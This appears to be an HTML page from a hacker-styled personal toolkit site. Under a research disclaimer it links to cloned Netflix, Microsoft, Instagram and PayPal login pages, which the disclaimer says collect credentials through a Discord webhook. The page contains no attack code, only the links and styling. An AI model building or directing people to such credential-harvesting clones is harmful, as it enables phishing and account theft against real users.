<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">                                                                                                 <meta name="viewport" content="width=device-width, initial-scale=1.0">                                                 <title>Security Test Links</title>                                                                                     <link href="https://fonts.googleapis.com/css2?family=Russo+One&display=swap" rel="stylesheet">                     <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
    <style>
        body {
            margin: 0;
            padding: 0;
            background: black;
            font-family: 'Russo One', sans-serif;
            color: #00FF41;
            overflow-x: hidden;
        }

        #matrixCanvas {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 0;
        }

        .overlay {
            position: relative;
            z-index: 1;
            padding: 20px;
padding-bottom: 100px;
            min-height: 100vh;
        }

        .back-button {
            display: inline-block;
            padding: 10px 20px;
            color: #00FF41;
            text-decoration: none;
            border: 2px solid #00FF41;
            margin-bottom: 30px;
            transition: all 0.3s ease;
        }

        .back-button:hover {
            background: rgba(0, 255, 65, 0.1);
            box-shadow: 0 0 20px rgba(0, 255, 65, 0.5);
        }

        .holographic-title {
            text-align: center;
            font-size: 2.5rem;
            margin-bottom: 50px;
            text-shadow: 0 0 10px rgba(0, 255, 65, 0.5);
        }

        .links-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
            gap: 30px;
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
        }                                                                                                              
        .link-card {
            background: rgba(0, 0, 0, 0.7);
            border: 2px solid #00FF41;                                                                                             padding: 25px;                                                                                                         text-align: center;                                                                                                    cursor: pointer;                                                                                                       position: relative;                                                                                                    overflow: hidden;                                                                                                      transition: all 0.3s ease;                                                                                         }                                                                                                                                                                                                                                             .link-card:hover {                                                                                                         transform: translateY(-5px);                                                                                           box-shadow: 0 0 30px rgba(0, 255, 65, 0.3);                                                                        }                                                                                                              
        .link-card i {
            font-size: 2.5rem;
            margin-bottom: 15px;                                                                                                   color: #00FF41;
        }
                                                                                                                               .link-card h3 {                                                                                                            margin: 10px 0;
            color: #00FF41;                                                                                                    }                                                                                                                                                                                                                                             .link-card p {                                                                                                             color: #00FF41;                                                                                                        opacity: 0.8;                                                                                                          margin-bottom: 20px;                                                                                               }                                                                                                                                                                                                                                             .link-card a {                                                                                                             color: #00FF41;                                                                                                        text-decoration: none;
            padding: 10px 20px;
            border: 1px solid #00FF41;
            transition: all 0.3s ease;
        }

        .link-card a:hover {
            background: rgba(0, 255, 65, 0.1);
            box-shadow: 0 0 20px rgba(0, 255, 65, 0.3);
        }

        .system-scan {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 2px;
            background: #00FF41;
            animation: scan 3s linear infinite;                                                                                    opacity: 0.5;
            z-index: 2;
        }
                                                                                                                               @keyframes scan {
            0% {
                transform: translateY(0);
            }                                                                                                                      100% {                                                                                                                     transform: translateY(100vh);                                                                                      }                                                                                                                  }                                                                                                                                                                                                                                         /* New styles for disclaimer */                                                                                            .disclaimer-banner {                                                                                                       background: rgba(0, 0, 0, 0.9);                                                                                        border: 2px solid #FF0000;                                                                                             padding: 20px;                                                                                                         margin: 20px auto 40px;                                                                                                max-width: 1000px;                                                                                                     text-align: center;
            position: relative;
            z-index: 1;
            animation: pulse 2s infinite;                                                                                      }

        .disclaimer-banner h2 {                                                                                                    color: #FF0000;                                                                                                        margin-bottom: 10px;
            text-shadow: 0 0 10px rgba(255, 0, 0, 0.5);                                                                        }                                                                                                                                                                                                                                             .disclaimer-banner p {                                                                                                     color: #FF4141;                                                                                                        line-height: 1.6;                                                                                                  }                                                                                                                                                                                                                                             @keyframes pulse {                                                                                                         0% { box-shadow: 0 0 5px rgba(255, 0, 0, 0.5); }                                                                       50% { box-shadow: 0 0 20px rgba(255, 0, 0, 0.5); }                                                                     100% { box-shadow: 0 0 5px rgba(255, 0, 0, 0.5); }
        }

        .matrix-footer {
            position: fixed;
            bottom: 0;
            left: 0;
            width: 100%;
            background-color: rgba(0, 0, 0, 0.7);
            color: #4ade80;
            text-align: center;
            padding: 0.5rem 0;
            box-shadow: 0 -2px 10px rgba(0, 0, 0, 0.5);
            letter-spacing: 0.05em;
            z-index: 9999; /* This ensures the footer appears above other elements */
        }

        .footer-content {
            animation: pulse-slow 3s ease-in-out infinite;
        }

        .footer-line {
            position: absolute;
            left: 0;
            right: 0;
            bottom: 0;
            height: 2px;
            background-color: #22c55e;
            opacity: 0.5;
            filter: blur(1px);
            animation: flicker 0.1s linear infinite;
        }

        @keyframes pulse-slow {
            0%, 100% { opacity: 0.7; }
            50% { opacity: 0.9; }
        }

        @keyframes flicker {
            0%, 19%, 21%, 23%, 25%, 54%, 56%, 100% { opacity: 0.7; }
            20%, 24%, 55% { opacity: 0.3; }
        }

.tool-showcase {
    margin: 50px auto;
    max-width: 800px;
    padding: 30px;
    border: 3px solid #00FF41;
    background: rgba(0, 40, 0, 0.3);
    position: relative;
    overflow: hidden;
}

.corner-glow {
    position: absolute;
    width: 40px;
    height: 40px;
    box-shadow: 0 0 15px rgba(0, 255, 65, 0.5);
}

.corner-glow.top-left {                                                                                                    top: -20px;
    left: -20px;
    border-top: 2px solid #00FF41;
    border-left: 2px solid #00FF41;                                                                                    }                                                                                                                                                                                                                                             .corner-glow.top-right {                                                                                                   top: -20px;                                                                                                            right: -20px;                                                                                                          border-top: 2px solid #00FF41;                                                                                         border-right: 2px solid #00FF41;                                                                                   }                                                                                                                                                                                                                                             .corner-glow.bottom-left {                                                                                                 bottom: -20px;                                                                                                         left: -20px;                                                                                                           border-bottom: 2px solid #00FF41;
    border-left: 2px solid #00FF41;
}
                                                                                                                       .corner-glow.bottom-right {
    bottom: -20px;
    right: -20px;                                                                                                          border-bottom: 2px solid #00FF41;                                                                                      border-right: 2px solid #00FF41;
}                                                                                                                                                                                                                                             .tool-showcase h2 {                                                                                                        text-align: center;                                                                                                    font-size: 2em;                                                                                                        margin-bottom: 20px;                                                                                                   color: #00FF41;                                                                                                        text-shadow: 0 0 10px rgba(0, 255, 65, 0.5);                                                                       }                                                                                                                                                                                                                                             .tool-showcase p {                                                                                                         text-align: center;
    color: #00FF41;
    margin-bottom: 30px;
    font-size: 1.1em;
    line-height: 1.6;
}

.launch-button {
    display: inline-block;
    padding: 15px 40px;
    font-size: 1.2em;
    color: #00FF41;
    background: rgba(0, 40, 0, 0.5);
    border: 2px solid #00FF41;
    text-decoration: none;
    transition: all 0.3s ease;
    position: relative;
    overflow: hidden;
    text-transform: uppercase;
    letter-spacing: 2px;
    box-shadow: 0 0 20px rgba(0, 255, 65, 0.2);
}
                                                                                                                       .launch-button:hover {
    background: rgba(0, 255, 65, 0.2);
    box-shadow: 0 0 30px rgba(0, 255, 65, 0.4);
}                                                                                                                                                                                                                                             .cyber-title-container {                                                                                                   margin: 40px auto;                                                                                                     text-align: center;                                                                                                    perspective: 400px;                                                                                                    padding: 20px;                                                                                                     }                                                                                                                                                                                                                                             .cyber-title {                                                                                                             font-family: 'Russo One', sans-serif;                                                                                  font-size: 2.5em;                                                                                                      color: #00FF41;                                                                                                        text-shadow: 0 0 10px rgba(0, 255, 65, 0.7);
    opacity: 0;
    animation: fadeIn 2s forwards;
}                                                                                                                      
.cyber-subtitle {
    font-size: 1.8em;                                                                                                      color: #00FF41;                                                                                                        margin-top: 20px;
    transform: scale(0);                                                                                                   animation: scaleIn 1s forwards;                                                                                        animation-delay: 2s;                                                                                               }                                                                                                                                                                                                                                             .glitch-line {                                                                                                             height: 2px;                                                                                                           width: 100%;                                                                                                           background: linear-gradient(90deg, transparent, #00FF41, transparent);                                                 margin: 20px auto;                                                                                                     position: relative;
    animation: scanline 2s linear infinite;
}

@keyframes fadeIn {
    from {
        opacity: 0;
        transform: rotateX(20deg);
    }
    to {
        opacity: 1;
        transform: rotateX(0);
    }
}

@keyframes scaleIn {
    from {
        transform: scale(0);
    }
    to {
        transform: scale(1);
    }
}

@keyframes scanline {
    0% {
        transform: translateX(-100%);
        opacity: 0;
    }
    50% {
        opacity: 1;
    }
    100% {
        transform: translateX(100%);
        opacity: 0;
    }
}

.cyber-warning {
    color: #00FF41;
    font-size: 1.2em;
    margin-top: 20px;
    opacity: 0;
    animation: fadeIn 1s forwards;                                                                                         animation-delay: 3s;                                                                                               }

.cyber-entrance {
    text-align: center;                                                                                                    margin: 60px auto;                                                                                                     position: relative;
}

.dramatic-title {                                                                                                          font-size: 4em;                                                                                                        color: #00FF41;
    opacity: 0;
    transform: scale(0.5);
    animation: dramaticEnter 2s forwards;                                                                                  text-shadow: 0 0 20px rgba(0, 255, 65, 0.7);                                                                           margin-bottom: 40px;
}

.enter-button {
    display: inline-block;
    padding: 20px 60px;
    font-size: 1.5em;
    color: #00FF41;
    background: transparent;
    border: 2px solid #00FF41;
    text-decoration: none;
    text-transform: uppercase;
    letter-spacing: 4px;
    position: relative;
    overflow: hidden;
    transition: all 0.3s ease;
    opacity: 0;
    animation: fadeIn 1s forwards;
    animation-delay: 2s;
}

.enter-button:hover {
    background: rgba(0, 255, 65, 0.1);
    box-shadow: 0 0 30px rgba(0, 255, 65, 0.5);                                                                            transform: scale(1.05);                                                                                            }                                                                                                                                                                                                                                             .enter-button::before {
    content: '';
    position: absolute;
    top: -50%;
    left: -50%;
    width: 200%;
    height: 200%;
    background: rgba(0, 255, 65, 0.1);
    transform: rotate(45deg);
    transition: all 0.3s ease;
    z-index: -1;
}

.enter-button:hover::before {
    animation: glowScan 1.5s infinite;
}

@keyframes dramaticEnter {
    0% {
        opacity: 0;
        transform: scale(0.5);
    }
    50% {
        opacity: 0.5;
        transform: scale(1.2);
    }
    100% {
        opacity: 1;
        transform: scale(1);
    }
}

@keyframes fadeIn {
    from {
        opacity: 0;
        transform: translateY(20px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

@keyframes glowScan {
    0% {
        transform: translateX(-100%) rotate(45deg);
    }
    100% {
        transform: translateX(100%) rotate(45deg);
    }
}
    </style>
</head>
<body>
    <canvas id="matrixCanvas"></canvas>
    <div class="system-scan"></div>

    <div class="overlay">
        <a href="https://kalkikrivadna.com/cyberkalkitoolsob.html" class="back-button">Back to Toolkit</a>

<div class="disclaimer-banner">
            <h2>[ SECURITY RESEARCH DISCLAIMER ]</h2>
            <p>ATTENTION: These demonstration pages are designed strictly for security research and educational purposes only. They simulate phishing techniques and collect credentials via Discord webhook for research demonstration. Any use of these pages for malicious purposes or actual credential harvesting is strictly prohibited and illegal. By accessing these pages, you acknowledge that you are a security researcher or penetration tester conducting authorized testing.</p>
        </div>

        <h1 class="holographic-title">Security Test Links</h1>


        <div class="links-grid">
            <div class="link-card">
                <i class="fab fa-netflix"></i>
                <h3>Netflix Security Test</h3>
                <p>Analyze Netflix login security implementation</p>
                <a href="https://kalkikrivadna.com/netflixlogin.html" target="_blank">Access Test</a>
            </div>

            <div class="link-card">
                <i class="fab fa-microsoft"></i>
                <h3>Microsoft Security Test</h3>
                <p>Examine Microsoft authentication methods</p>
                <a href="https://kalkikrivadna.com/microsoft.html" target="_blank">Access Test</a>
            </div>

            <div class="link-card">
                <i class="fab fa-instagram"></i>
                <h3>Instagram Security Test</h3>
                <p>Review Instagram security patterns</p>
                <a href="https://github.com/krivadna/instagramphishingtest" target="_blank">Access Test</a>
            </div>

<div class="link-card"> <i class="fab fa-paypal"></i>
<h3>PayPal Login Clone Project</h3> <p>Paypal Login Security Simulation</p>
 <a href="https://github.com/krivadna/Paypalphishingpage" target="_blank">Access Project</a> </div>
        </div>

    <div class="cyber-entrance">
    <div class="dramatic-title">PHISHING ENDS HERE</div>
    <a href="https://kalkikrivadna.com/antiqrob.html" target="_blank" class="enter-button">
        Enter Secure Zone
    </a>
</div>
<footer class="matrix-footer">
         <div class="footer-content" style="font-family: 'Poppins', sans-serif;">
            © 2024 Cyber Kalki Matrix Tools | Prepare for Next Level of Digital Defense                                        </div>
         </footer>
    <script>
        // Matrix rain effect
        const canvas = document.getElementById('matrixCanvas');
        const ctx = canvas.getContext('2d');

        canvas.width = window.innerWidth;
        canvas.height = window.innerHeight;

        const matrix = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@#$%^&*()*&^%";
        const matrixChars = matrix.split('');

        const fontSize = 10;
        const columns = canvas.width/fontSize;

        const drops = [];
        for(let x = 0; x < columns; x++) {
            drops[x] = 1;
        }

        function draw() {
            ctx.fillStyle = 'rgba(0, 0, 0, 0.04)';
            ctx.fillRect(0, 0, canvas.width, canvas.height);

            ctx.fillStyle = '#0F0';
            ctx.font = fontSize + 'px monospace';

            for(let i = 0; i < drops.length; i++) {
                const text = matrixChars[Math.floor(Math.random()*matrixChars.length)];
                ctx.fillText(text, i*fontSize, drops[i]*fontSize);

                if(drops[i]*fontSize > canvas.height && Math.random() > 0.975)
                    drops[i] = 0;

                drops[i]++;
            }
        }

        setInterval(draw, 35);

        // Handle window resize
        window.addEventListener('resize', () => {
            canvas.width = window.innerWidth;
            canvas.height = window.innerHeight;
        });
    </script>